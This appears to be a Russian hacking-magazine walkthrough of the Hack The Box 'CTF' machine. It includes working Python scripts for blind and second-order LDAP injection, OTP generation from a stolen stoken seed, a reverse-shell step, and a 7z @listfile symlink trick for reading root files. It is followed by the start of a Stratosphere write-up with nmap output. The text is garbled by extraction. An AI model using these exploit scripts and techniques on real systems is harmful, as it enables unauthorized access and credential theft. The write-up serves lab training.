Что бы вытащить из базы имя поль зовате ля, будем поль зовать ся сим волом  ,
который  успешно  обра баты вает ся  сер вером.  Сде лаем  пред положе ние,  что
юзер нейм  начина ется,  нап ример,  с  бук вы  a,  тог да  поведе ние  фор мы
при обра бот ке зап роса вида   поз волит опре делить,  вер но ли наше пред‐ 
положе ние. Так как мы можем судить о кор рек тнос ти наших суж дений толь ко
по  воз вра щаемым  сооб щени ям  об  ошиб ках,  то  налицо  клас сичес кая  инъ‐ 
екция «всле пую», или Blind LDAP Injection.

*

a*

Мо дифи циро вав  нем ного  свой  скрипт,  я  про хожу  по  всем бук вам  латин‐ 
ско го  алфа вита,  отправ ляю  сер веру  зап росы  вида    и  смот рю
на ответ: если ошиб ка выг лядит как  , зна чит, поль‐ 
зовате ля,  имя  которо го  начина ется  с бук вы  ,  не  сущес тву ет,  а  если
в  ответ  при ходит  ,  зна чит,  имя  мы  уга дали  (но,  естес твен но,
ошиб лись в поле  , что сей час не важ но).

<БУКВА>*
User <БУКВА>* not found

<БУКВА>
Cannot  login
OTP

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 inject.py

import re
from string import ascii_lowercase
from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

for c in ascii_lowercase:
   inject = c + quote_plus('*')

   data = {
       'inputUsername': inject,
       'inputOTP': '31337'
   }

   resp = requests.post(URL, data=data)
   match = re.search(r'<div class="col‐sm‐10">(.*?)</div>', resp.
text, re.DOTALL)
   print(f'{c}* => {match.group(1).strip() == "Cannot login"}')

Дам пим имя поль зовате ля (про ба пера)

От ловив  ошиб ки  вто рого  типа,  я могу  сдам пить  имя  поль зовате ля  целиком.
Для это го я сно ва нем ного изме ню скрипт, что бы не запус кать его 100500 раз
для каж дой сле дующей вер ной бук вы.

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 inject.py

import re
import time
from string import ascii_lowercase
from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

username, done = '', False
print()

while not done:
   for c in ascii_lowercase:
       inject = username + c + quote_plus('*')

       data = {
           'inputUsername': inject,
           'inputOTP': '31337'
       }

       resp = requests.post(URL, data=data)

       match = re.search(r'<div class="col‐sm‐10">(.*?)</div>', resp
.text, re.DOTALL)
       if match.group(1).strip() == 'Cannot login':
           username += c
           break

       print(f'[*] Username: {username}{c}', end='\r')  # sys.
stdout.write(f'\r{username}{c}')
       time.sleep(0.2)

   else:
       done = True

print(f'[+] Username: {username} \n')

Дам пим имя поль зовате ля LDAP

Есть имя поль зовате ля! Это   — кто бы мог подумать... Таким же спо‐ 
собом пред лагаю сбру тить и дру гие атри буты LDAP.

ldapuser

Дам пим осталь ные атри буты
Те перь приш ло вре мя ска зать пару слов о том, что собой пред став ляет «

» в тер миноло гии LDAP. Если при дер живать ся стро гих опре деле ний, то
атри бут — это неч то, что содер жит в себе объ ектный класс LDAP. Пос ледний
слу жит  кир пичиком, из  которых стро ятся  записи базы дан ных. Дру гими сло‐ 
вами, атри бутом мож но наз вать те самые клю чи в парах «ключ — зна чение» 

 из при мера выше.

ат‐ 
рибут

( , ...)key1=value1
Мы  уже  видели  под сказ ку  в  ком мента рии  исходни ка  HTML‐стра ницы 

  о  неко ем  «сущес тву ющем  атри буте»,  который  содер жит  стро ку
с  токеном  из  81  циф ры.  Что  ж,  нас тало  вре мя  выяс нить,  какие  атри буты
сущес тву ют в име ющем ся у нас катало ге LDAP. Для это го я буду исполь зовать
wfuzz с пей лоадом такого вида.

/login.php

 

 

root@kali:~# wfuzz ‐w attributes.lst ‐‐hw 233 ‐d 'inputUsername=lda‐
puser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500&inputOTP=0000' 
10.10.10.122/login.php

Раз берем под робнее. Во‐пер вых, отку да был взят сло варь 
Я сос тавил его из   наибо лее час то исполь зуемых атри бутов LDAP, пом‐ 
ня о том, что в под сказ ке было уточ нение отно ситель но уже сущес тву юще го
атри бута. Зна чит, они не при думы вали ничего сво его.

?attributes.lst
спис ка

Спи сок наибо лее час то исполь зуемых атри бутов LDAP

Пей лоад    —
это не что иное, как  , где   — это оче ред ной
атри бут  из  сос тавлен ного  мной  спис ка.  То  есть  я  беру,  к  при меру,  атри бут

 и про веряю, что он будет содер жать ответ на зап рос с пей лоадом 
.  Если  атри бут  сущес тву ет,  то  я  получу  сооб щение

об ошиб ке  ,  так как осталь ная часть LDAP‐зап роса кор рек тна.
Если атри бута не сущес тву ет — не получу в ответ ничего, так как зап рос поп‐ 
росту ока жет ся неп равиль ным.

ldapuser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500
ldapuser)(FUZZ=*)))%2500 FUZZ

mail lda‐
puser)(mail=*)))%2500

Cannot login

Ат рибуты в базе дан ных LDAP

Итак, шесть атри бутов из нашего сло варя есть в катало ге. Где было бы логич‐ 
нее  все го  хра нить  81  циф ру  для  токена CTF? Ско рее  все го,  это  будет  зна‐ 
чение атри бута  , ведь на дво ре 2019 год и пей дже рами вряд ли кто‐то
еще поль зует ся. Ну да лад но, все рав но мы ради инте реса сбру тим все при‐ 
сутс тву ющие атри буты.

pager

Я пере име новал скрипт в brute.py, еще раз под пра вил его и сдам пил все
атри буты по спис ку.

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 brute.py

import re
import time
from datetime import timedelta
from string import ascii_lowercase, digits
from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

ATTRIBUTES = [
   'mail',
   'cn',
   'uid',
   'userPassword',
   'sn',
   'pager'
]

timestart = time.time()
print()

for a in ATTRIBUTES:
   attr, done = '', False

   while not done:
       if a == 'pager':
           charset = digits
       else:
           charset = ascii_lowercase + digits + '_‐@.'

       for c in charset:
           # Инъекция вида "ldapuser)(<ATTRIBUTE>=*)))%00"
           inject = f'ldapuser{quote_plus(")(")}{a}{quote_plus(
"=")}{attr}{c}{quote_plus("*)))")}'

           data = {
               'inputUsername': inject + '%00',
               'inputOTP': '31337'
           }

           resp = requests.post(URL, data=data)

           match = re.search(r'<div class="col‐sm‐10">(.*?)</div>', 
resp.text, re.DOTALL)
           if match.group(1).strip() == 'Cannot login':
               attr += c
               break

           print(f'[*] {a}: {attr}{c}', end='\r')
           time.sleep(1)

       else:
           done = True

   print(f'[+] {a}: {attr} ')

print(f'\n[*] Затрачено: {timedelta(seconds=time.time() ‐ timestart)}
')

Не  забывая  пре дос тереже ние  о  воз можном  бане,  забот ливо  оставлен ное
на  глав ной  стра нице  сер виса,  я  добавил  задер жку  на  одну  секун ду  пос ле
отправ ки  оче ред ного  зап роса,  что бы  миними зиро вать  рис ки  нар вать ся
на тайм‐аут. В ито ге скрип ту понадо билось 20 минут на перебор шес ти зна‐ 
чений атри бутов (с уче том того, что   ока зал ся пус тым).userPassword

Дам пим осталь ные атри буты LDAP

Кста ти, имя поль зовате ля, которое мы бру тили в пре дыду щем параг рафе, —
это так же, как все дру гие дан ные в мире LDAP, все го лишь зна чение оче ред‐ 
ного атри бута —  . А вот в зна чении атри бута   скры валось как раз то,
за  чем  мы  охо тились,  —  ини циали затор  (seed)  генера тора  одно разо вых
паролей stoken.

uid pager

ОДНОРАЗОВЫЕ ПАРОЛИ (OTP)
Ус тановим stoken, что бы было чем, собс твен но, генери ровать OTP.

Ус танов ка stoken

Заг лянув в ману ал, смот рим, как луч ше все го его юзать в нашем слу чае.

 

 

root@kali:~# stoken ‐‐
token=285449490011357156531651545652335570713167411445727140604172141456
711102716717000 ‐‐pin=0000

В парамет ре   я передаю най ден ный ранее сид, а с помощью 
задаю дефол тный PIN, что бы соф тина не спра шива ла у меня его в инте рак‐ 
тивном режиме.  PIN — это  локаль ная  защита  ,  которая  пре пятс тву ет
получе нию  OTP  кем  попало,  кто  про ходил  мимо  компь юте ра,  но,  так  как  у
меня PIN не уста нов лен, я передаю его зна чение по умол чанию 0000.

‐‐token ‐‐pin

stoken

Да лее сле дует учесть еще один важ ный момент: из‐за того что все алго‐ 
рит мы генера ции одно разо вых паролей опи рают ся на вре мя, уста нов ленное
на хос те, как на механизм син хро низа ции сро ка валид ности OTP, тебе нуж но
будет  узнать,  что  показы вают  часы  на  сер вере.  Сде лать  это  мож но
с помощью curl.

 

 
root@kali:~# curl ‐sv ‐‐stderr ‐ 10.10.10.122 | grep Date

Так  как  инстан сы  вир туалок  на  Hack  The  Box  не  име ют  выхода  в  Сеть,  они
не могут исполь зовать   для син хро низа ции часов,
поэто му  для  тебя  вре мя  может  отли чать ся  от  того,  что  показы вает  сей час
сер вер CTF. Нуж но ска зать, что раз ница часовых поясов здесь роли не игра‐ 
ет, потому что stoken исполь зует POSIX‐вре мя (или  ) для генера ции
нового OTP.

про токол сетево го вре мени

Unix time

Раз ница во вре мени меж ду мной и ВМ CTF

Есть два вари анта решения этой проб лемы: пер вый — отклю чить син хро низа‐ 
цию вре мени у себя на машине, вто рой — вос поль зовать ся опци ей stoken 

, что бы задать сме щение часов меж ду тво ей ОС и сер вером, где ты
соб рался аутен тифици ровать ся.

‐‐
use‐time

Так как я исполь зую Kali в VirtualBox, то я боюсь лиш ний раз вме шивать ся
в  сис тему  син хро низа ции  вре мени  пос ле  того,  как  однажды  ее  нас тро ил.
К сло ву, в VMware это дела ется про ще, там есть отдель ная галоч ка для нас‐ 
трой ки вре мени в кон фиге самой ВМ, а вот в VBox  , если ты
решил  поль зовать ся  ,  а  не  офлайн‐син хро низа‐ 
цией с хос товой ОС.

черт ногу сло мит
внеш ними  сер верами  NTP

По это му  я  выб рал  вто рой  вари ант  и  решил  написать  неболь шой  скрипт,
что бы  вычис лять offset  авто мати чес ки  и  переда вать  его  stoken.  Что бы  убить
двух зай цев, я так же добав лю нем ного жиз ни в свой скрипт и буду обновлять
одно разо вый пароль каж дую секун ду и выводить его в тер минал в бес конеч‐ 
ном цик ле.

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 otp.py

import time
from datetime import datetime
from subprocess import check_output

import requests

URL = 'http://10.10.10.122'

while True:
   kali = datetime.utcnow()
   server = datetime.strptime(requests.head(URL).headers['Date'], '%
a, %d %b %Y %X %Z')
   offset = int((server ‐ kali).total_seconds())

   cmd = [
       'stoken',
       '‐‐token=285449490011357156531651545652335570713167411445727
140604172141456711102716717000',
       '‐‐pin=0000',
       f'‐‐use‐time={"%+d" % offset}'
   ]

   print(check_output(cmd).decode().strip(), end='\r')
   time.sleep(1)

Ге нери руем OTP на лету

Те перь  в  нашем  рас поряже нии  всег да  находит ся  све жий  одно разо вый
пароль  для  дос тупа  к  защищен ному  содер жимому  веб‐ресур са. Пос мотрим
же наконец, что скры вает ся за фор мой  ./login.php
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НЕПРАВИЛЬНЫЙ CTF
ОДНОРАЗОВЫЕ ПАРОЛИ, БУЙСТВО LDAP‐
ИНЪЕКЦИЙ И ТРЮКИ C АРХИВАТОРОМ 7Z

ВЗЛОМ  НАЧАЛО СТАТЬИ←

LDAP-инъ екция вто рого поряд ка
Ав торизу емся в веб‐при ложе нии как ldapuser с помощью OTP, который выдал
скрипт выше. Нас переб расыва ет на стра ницу 

, где мы видим интерфейс для выпол нения команд на уда лен ном сер вере.
http://10.10.10.122/page.

php

RCE на ВМ CTF

Про буем выпол нить любую коман ду (я ввел   в поле Cmd) и видим сле‐ 
дующее.

ls ‐la

«Поль зователь дол жен быть чле ном груп пы root или adm...»

Поль зователь  дол жен  быть  чле ном  груп пы  root  или  adm  и  иметь
валид ный токен, что бы выпол нять коман ды на этом сер вере.

Столь ко ста раний, что бы в ито ге уви деть ЭТО?! Ну уж нет, давай раз бирать ся.
Пред положим, что механизм про вер ки, вхо дит ли поль зователь в упо мяну‐ 

тые груп пы или нет, сле дующий: посыла ется еще один LDAP‐зап рос, выпол‐ 
няемый на   который берет логин, вве ден ный нами ранее при авто‐ 
риза ции  на    и  под став ляет  его  в  LDAP‐струк туру  такого  вида  (в
эпи логе, к сло ву, мы про верим все наши пред положе ния отно ситель но вида
зап росов LDAP).

,/page.php
,/login.php

(&
   (&
       (uid=$USERNAME)
       ...
   )
   (|
       (group=root)
       (group=adm)
   )
   ...
)

Здесь    —  это  то  имя  поль зовате ля,  которое  мы  вво дили  на 
  Такая  логика  име ет  пра во  на  сущес тво вание,  потому  что  я

не видел ни одно го мес та, где явно переда вал ся бы юзер нейм при отправ ке
зап роса на выпол нение коман ды на 

USERNAME
./login.php

./page.php
Сле дова тель но,  на  момент,  ког да  поль зователь  авто ризо ван,  юзер нейм

уже известен сер веру. Исхо дя из  таких рас сужде ний, мож но сде лать вывод,
что перед нами LDAP‐инъ екция вто рого поряд ка (по ана логии с Second Order
SQLi),  ког да  вре донос ный  зап рос  не  исполня ется  непос редс твен но  сей час,
но сох раня ется в памяти сер вера и будет исполнен при иных обсто ятель ствах
в даль нейшем.

Тог да, что бы обой ти про вер ку на вхож дение име ни поль зовате ля в груп пы
root и adm, нуж но все го лишь отсечь «хвост» зап роса, который ее выпол няет.
Сде лать это мож но с помощью уже зна комо го тебе нулево го бай та  : если
перемен ная    будет  содер жать  пей лоад  вида  ,  то
нежела тель ное усло вие   «отва лит ся» и боль ше
не будет пре пятс тво вать выпол нению команд.

%00
USERNAME ldapuser)))%00

(|(group=root)(group=adm))

По беда:  перело гинив шись  с  кре дами 
или   под URL‐кодиров кой, я могу успешно триг герить
уда лен ное выпол нение команд.

ldapuser)))%00
ldapuser%29%29%29%00

Ре зуль тат выпол нения ls ‐la на ВМ CTF

Reverse Shell
От  RCE  до  шел ла  рукой  подать,  поэто му,  не  откла дывая  в  дол гий  ящик,
получим  сес сию.  Хар дкор ная  вер сия:  написать  скрипт,  который  будет
общать ся  с  этой  веб‐фор мой  и  пар сить  резуль тат  выпол нения  команд
из HTML‐кода. Этот вари ант я покажу в эпи логе, а пока более читер ский спо‐ 
соб.

Я  буду  исполь зовать  стан дар тный    PayloadsAllTheThings
на Bash. Он работа ет по TCP через 443‐й порт SSL, потому что на нем ред ко
бло киру ется исхо дящий тра фик.

ре верс‐шелл

Проб расыва ем reverse shell через фор му RCE

По  харак терно му  зависа нию  стра нич ки  видим,  что  коман да  выпол нена
успешно, и я получаю сес сию.

Ло вим отклик у себя на машине

К сожале нию,  у меня не получи лось апгрей дить шелл до пол ноцен ного PTY,
как  я  демонс три ровал  это  в  .  Не  уве рен  до  кон ца,  что
пос лужило  тому  при чиной,  полагаю,  таковы  нас трой ки  сис темы:  видимо,
огра ниче но мак сималь но воз можное количес тво исполь зуемых девай сов PTY
(из сооб ражений безопас ности в том чис ле).

про хож дении Mischief

По пыт ка апгрей дить шелл до PTY

Да лее, пос мотрев исходни ки  ,  я обна ружил пароль юзе ра  ldapuser
в хар дко де.

page.php

Па роль поль зовате ля ldapuser в коде page.php

А это зна чит, что в нашем рас поряже нии теперь еще одна сес сия — от име ни
поль зовате ля ldapuser.

SSH — ПОРТ 22
Кон нектим ся к машине по SSH, потому что так будет при ятнее осматри вать ся
внут ри,  и  прак тичес ки  сра зу  замеча ем  нес тандар тную  дирек торию 
в кор не фай ловой сис темы.

/backup

Ди рек тория /backup в кор не фай ловой сис темы

Внут ри  находим  тучу  архи вов  с  бэкапа ми,  лог  оши бок  и  инте рес ный  скрипт
.honeypot.sh

Со дер жимое дирек тории /backup

Важ ное наб людение,  которое нам еще при годит ся: архи вы с бэкапа ми соз‐ 
дают ся каж дую минуту.

На этом эта пе, кста ти, мы уже можем чес тно заб рать пер вый флаг.

 
 
 
[ldapuser@ctf ~]$ cat user.txt 
 

 
 

74a8e86f????????????????????????

honeypot.sh
# honeypot.sh

# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** 
included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban ‐A 7 | grep ‐E '[0‐9]{1,3}\.[
0‐9]{1,3}\.[0‐9]{1,3}\.[0‐9]{1,3}' | sort ‐u > /var/www/html/banned.
txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/
testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.
txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd ‐1 ‐salt 0xEA31 ‐in /root/root.txt | md5sum | 
awk '{print $1}')

# keep only last 10 backups
cd /backup
ls ‐1t *.zip | tail ‐n +11 | xargs rm ‐f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip ‐t7z ‐snl ‐p$pass ‐‐ *

# cleaup the honeypot
rm ‐rf ‐‐ *

# comment the next line to get errors for debugging
truncate ‐s 0 /backup/error.log

Здесь  все дос таточ но прос то. В пер вой  зна чащей стро ке  скрипт обновля ет
информа цию  о  забанен ных  пос ле  попыток  брут форса  IP‐адре сах,  а  далее
соз дает  один надцать  архи вов  .7z,  запаро лен ных  с  помощью  фла га  супер‐ 
поль зовате ля. Нас будет инте ресо вать 19‐я стро ка, а имен но сама коман да
архи виро вания бэкапов.

7za a /backup/$filename.zip ‐t7z ‐snl ‐p$pass ‐‐ *

Здесь с помощью опции   зада ется фор мат будущих архи вов, опция 
говорит ути лите, что бы та не резол вила сим воличес кие ссыл ки и оставля ла их
ссыл ками  при  добав лении  фай лов  в  архив,    уста нав лива ет  пароль
шиф рования, а вот то, что идет даль ше, поз воля ет нам про читать любой файл
от име ни root...

‐t7z ‐snl

‐p$pass

Де ло тут вот в чем. Пос ледова тель ность   исполь зует ся для того, что‐ 
бы  передать  скрип ту  спи сок  всех  имен  фай лов,  находя щих ся  в  текущей
рабочей  дирек тории  (в  нашем  слу чае  это  ,  так
как имен но туда мы перехо дим одной коман дой рань ше). Одна ко у 7z есть 

  ,  который  поз воля ет  ука зать  спи сок  фай лов  для  добав‐ 
ления в архив.

‐‐ *

/var/www/html/uploads
па‐ 

раметр @listfiles

Как это работа ет на при мере: если я выпол ню коман ду вида 
, где files.lst — это тек сто вый файл, содер жащий спи сок фай‐ 

лов, которые нуж но запако вать, то 7z пос лушно соз даст архив test.zip, содер‐ 
жащий все фай лы из пос троч ного спис ка files.lst. Удоб но, не прав да ли?

7za a test.
zip @files.lst

А  теперь  пред ста вим  ситу ацию,  в  которой  я  соз даю  в  дирек тории 
 два фай ла:   и  . Пер вый я оставлю пус тым,

а вто рой сде лаю сим воличес кой ссыл кой на файл,  который бы я  хотел про‐ 
читать  от  име ни  супер поль зовате ля.  Ска жем,  это  будет  финаль ный  флаг 

  При  таком  рас кла де  7z,  не  подоз ревая  запад ни,  заберет
оба этих фай ла для «архи виро вания» и выпол нит коман ду такого вида:

/var/
www/html/uploads @F4CK7z F4CK7z

./root/root.txt

7za a /backup/$filename.zip ‐t7z ‐snl ‐p$pass @F4CK7z F4CK7z

Из‐за того что ука зана опция  , 7z попыта ется про читать содер жимое
фай ла  F4CK7z,  который  лежит  в  этой  же  дирек тории  и  пред став ляет  собой
ссыл ку  на  ,  а  так  как  скрипт    выпол няет ся
от име ни root, то у 7z получит ся открыть любой файл. Гру бо говоря, коман да
выше прев ратит ся в неч то подоб ное:

@F4CK7z

/root/root.txt honeypod.sh

7za a /backup/$filename.zip ‐t7z ‐snl ‐p$pass <
флаг_суперпользователя> F4CK7z

Не  най дя  фай ла  с  име нем  ,  который,  как  кажет‐ 
ся  7z,  нуж но  положить  в  архив,  архи ватор  веж ливо  сооб щит  о  слу чив шей ся
ошиб ке в логе  , который мы можем читать.

флаг_суперпользователя

error.log

Экс плу ата ция 7z
Так  как  дос туп  к  дирек тории    есть  у  поль зовате ля
apache, но его нет у ldapuser (из‐под которо го мы сидим в SSH), то нам при‐ 
годит ся тот неудоб ный шелл, который мы получи ли в пре дыду щем раз деле.

/var/www/html/uploads

 

 

ldapuser@ctf backup $ ls ‐ld /var/www//html/uploads [ ]
drwxr‐x‐‐x. 2 apache apache 6 Aug 16 16:12 /var/www//html/uploads

Мы  уже  выяс нили  ранее,  что  скрипт    отра баты вает  каж дую
минуту. Так как, ско рее все го, задача выпол няет ся по пла ниров щику cron, то
отсчет ведет ся с началом каж дой новой минуты, поэто му нам нуж но соз дать
два  тре буемых  для  экс плу ата ции  фай ла,  уло жив шись  в  окно  с    по  .
Про верим вре мя и соз дадим нуж ные фай лы.

honeypot.sh

:00 :59

Соз дание фай лов для экс плу ата ции архи вато ра 7z

Я  закон чил  соз дание  фай лов  в  ,  уло жив шись  в  окно  с 
по  .  Через  13  секунд  пос ле  это го,  сле дя  за  логом  оши бок
с помощью   из SSH‐сес сии, я получил свое сок ровище.

16:11:47 16:11:00
16:11:59

tail ‐f

root.txt

На этом машину счи таю прой ден ной.

Тро фей

ЭПИЛОГ
Ори гиналь ные LDAP-зап росы
По лучив  дос туп  к  фай ловой  сис теме,  я  смог  пос мотреть,  как  выг лядят
исходные  LDAP‐зап росы,  о  струк туре  которых  мы  выд вигали  столь ко  пред‐ 
положе ний. Пер вый зап рос из исходни ков  .login.php

$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))
";

// Или более наглядно

(&
   (&
       (objectClass=inetOrgPerson)
       (uid=$username2)
   )
   (pager=*)
)

Вто рой — из исходни ков  . Имен но перемен ная  , под кон‐ 
троль ная поль зовате лю веб‐ресур са, дала нам воз можность про вес ти LDAP‐
инъ екцию вто рого поряд ка.

page.php username2

$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2)(|(gidNum
ber=4)(gidNumber=0)))(pager=*))";

// Или более наглядно

(&
   (&
       (objectClass=inetOrgPerson)
       (uid=$username2)
       (|
           (gidNumber=4)
           (gidNumber=0)
       )
   )
   (pager=*)
)

Об щаем ся с сер вером через FwdSh3ll
  —  мини‐фрей мворк  для  генера ции  и  спа уна  фор вард‐шел лов,

исполь зующий  веб‐уяз вимос ти.  В  ком мента риях  к 
  замети ли,  что  «фрей мворк  дав но  мертв».  Отчасти  сог ласен,  одна ко

нич то не меша ет ему оста вать ся отличным при мером того, как сле дова ло бы
вза имо дей ство вать с сер вером, если бы исхо дящий тра фик жес тко филь тро‐ 
вал ся и нам бы не уда лось получить реверс‐шелл стан дар тным спо собом.

FwdSh3ll
пре дыду щему  про хож‐ 

дению

Я  соз дал    для  демонс тра ции  управле ния  этой
машиной: из‐за того что здесь нет уяз вимос ти как таковой (у нас прос то есть
«легаль ная» фор ма для вво да команд), понадо бились неболь шие изме нения
в коде. И хотя в дан ном слу чае я не исполь зую кон цепцию Forward Shell в чис‐ 
том виде (в этом прос то нет необ ходимос ти), этот фрей мворк поз волил мне
с ком фортом иссле довать вир туал ку из тер минала — в точ ности как если бы я
получил канонич ный шелл.

от дель ную  вет ку  FwdSh3ll

Дем ка исполь зования FwdSh3ll для вза имо дей ствия с ВМ CTF

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp
https://xakep.ru/2019/07/16/mischief/#toc05.1
https://sevenzip.osdn.jp/chm/cmdline/syntax.htm
https://github.com/snovvcrash/FwdSh3ll
https://xakep.ru/2019/08/13/struts-forward-shell/
https://github.com/snovvcrash/FwdSh3ll/tree/HTBCTF
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ВЗЛОМ

В  этой  статье  я  покажу,  как  зах ватить  стра тос феру,  а  точ‐ 
нее — получить рут на вир туал ке Stratosphere с CTF‐пло щад‐ 
ки  .  На  этот  раз  мы  пово юем  с фрей мвор ком
Apache  Struts  для  получе ния  RCE‐уяз вимос ти  в  веб‐при‐ 
ложе нии,  рас смот рим  в  дей ствии  ред ко  обсужда емую,
но очень полез ную кон цепцию получе ния уда лен ной сес сии
Forward Shell, а так же поиг раем с уго ном биб лиоте ки и экс‐ 
плу ата цией фун кции   для скрип та на Python.

Hack  The  Box

eval()

HTB — Stratosphere

Нес мотря на  то  что Stratosphere не слиш ком слож на  (5,2 бал ла из 10), про‐ 
хож дение  этой  ВМ  дос тавило  мне  немало  удо воль ствия  бла года ря  воз‐ 
можнос ти поп ракти ковать ся с ред ко встре чаемой тех никой Forward Shell.

По мимо это го, вот с чем мы стол кнем ся на пути к фла гу супер поль зовате‐ 
ля:

раз ведка  и  сбор  информа ции  об  исполь зуемом  ПО  для  обна руже ния
фрей мвор ка Apache Struts;

•

вы явле ние сла бых мест Struts для ата ки на веб‐при ложе ние, пос тро енное
на Java EE и Action;

•

по иск удоб ного спо соба вза имо дей ствия с хос том в усло виях бес пощад но
филь тру емо го исхо дяще го тра фика HTTP;

•

об наруже ние сла бого пароля для базы дан ных MySQL и извле чение из нее
авто риза цион ных  дан ных  поль зовате ля  для  под клю чения  к  машине
по SSH;

•

два спо соба экс плу ата ции  уяз вимого при ложе ния на Python:  абъ юз фун‐ 
кции   и «угон» импорти руемо го модуля.

•
eval()

РАЗВЕДКА
Прис тупим,  пожалуй.  Сна чала  заг лядыва ем  в  откры тые  пор ты  с  помощью
героя всех филь мов про хакеров — ска нера Nmap.

 

 

root@kali:~# nmap ‐n ‐Pn ‐sV ‐sC ‐oA nmap/stratosphere 10.10.10.64 
root@kali:~# cat nmap/stratosphere.nmap 

 
 

 
 

 
 

 
 
 
 

 
 

 
 
 

 
 
 
 

 
 

 
 
 

 
 
 
 

 
 
 
 

 
 

 
 

 

 

 
 
 
 

 
 
 
 

 
  

 

 

# Nmap 7.70 scan initiated Sat Aug 10 23:56:34 2019 as: nmap ‐n ‐v ‐Pn ‐
sV ‐sC ‐oA nmap/initial 10.10.10.64
Nmap scan report for 10.10.10.64
Host is up (0.054s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh‐hostkey:
|   2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
|   256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_  256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp   open  http
| fingerprint‐strings:
| [ ....................................................... ]
| [ ............ [содержимое строки‐отпечатка] ............ ]
| [ ....................................................... ]
|   GetRequest:
| [ ....................................................... ]
| [ ................ [ответ на GET‐запрос] ................ ]
| [ ....................................................... ]
| http‐methods:
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http‐title: Stratosphere
8080/tcp open  http‐proxy
| fingerprint‐strings:
| [ ....................................................... ]
| [ ............ [содержимое строки‐отпечатка] ............ ]
| [ ....................................................... ]
|   GetRequest:
| [ ....................................................... ]
| [ ................ [ответ на GET‐запрос] ................ ]
| [ ....................................................... ]
| http‐methods:
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http‐open‐proxy: Proxy might be redirecting requests
|_http‐title: Stratosphere
2 services unrecognized despite returning data. If you know the service/
version, please submit the following fingerprints at https://nmap.org/
cgi‐bin/submit.cgi?new‐service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
==============
| [ ....................................................... ]
| [ .... [отпечаток неопознанного сервиса на порте 80] .... ]
| [ ....................................................... ]
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
==============
| [ ....................................................... ]
| [ ... [отпечаток неопознанного сервиса на порте 8080] ... ]
| [ ....................................................... ]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
# Nmap done at Sat Aug 10 23:56:59 2019 ‐‐ 1 IP address (1 host up) 
scanned in 24.41 seconds

В  этот  раз  Nmap  раз разил ся  мощ ней шим  потоком  информа ции,  боль шую
часть  из  которой  я  не  стал  вклю чать  в  лис тинг,  потому  что  она  бес полез на
для наших нужд: в основном это были стро ки — отпе чат ки неопоз нанных сер‐ 
висов, которые ска нер не смог иден тифици ровать и поп росил сде лать это за
него.  Так же  я  не  стал  при водить  содер жимое  отве тов  на  GET‐зап росы,
которые Nmap решил отпра вить на веб — 80‐й и 8080‐й пор ты.

В осталь ном име ем клас сичес кую (пока) схе му.
Secure Shell на 22‐м пор те, который так и не научил ся «не палить» вер сию
ОС —  с  ходу  мы  видим,  что  име ем  дело  с  вир туал кой,  на  которой  раз‐ 
вернут  дис три бутив  Debian  вер сии  9  (Stretch),  о  чем  сви детель ству ет
ревизия deb‐пакета в бан нере OpenSSH.

•

Не опоз нанные веб‐сер вер на 80‐м пор те и прок си на 8080‐м.•

С веба и нач нем.

ВЕБ — ПОРТ 80
Пос мотрим,  нет  ли  в  веб‐сер вере  уяз вимос тей,  при год ных  для  исполь‐ 
зования в качес тве вход ной точ ки в машину.

Бра узер
На    тебя  встре тит  цве тас тый  гра диент  сай та
Stratosphere.

http://10.10.10.64

Глав ная стра ница Stratosphere

При  перехо де  по  ссыл ке  GET  STARTED  NOW  сер вер  вып люнет  стра ницу
с таким напол нени ем.

<!‐‐ view‐source:http://10.10.10.64/GettingStarted.html ‐‐>

<!DOCTYPE html>
<html>
<head>
   <meta charset="utf‐8"/>
   <title>Stratosphere ‐‐ Getting Started</title>
</head>
<body>
   <h1>Site under construction. Please check back later.</h1>
</body>
</html>

Го ворят, что сайт пока толь ко раз рабаты вает ся, поэто му пус то. При дер жива‐ 
ясь  клас сичес кой  раз ведыва тель ной  так тики,  сле дующим  шагом  ска ниру ем
сер веры на сло вар ные дирек тории.

gobuster
Из всех инс тру мен тов для поис ка дефол тных дирек торий мне боль ше дру гих
нра вит ся  . Этот мно гопо точ ный брут форсер написан на Go, что поз‐ 
воля ет без лиш них уси лий закинуть бинар ник в сис тему и сра зу же запус тить
его. Gobuster под держи вает ся соз дателем в акту аль ном сос тоянии, серь езно
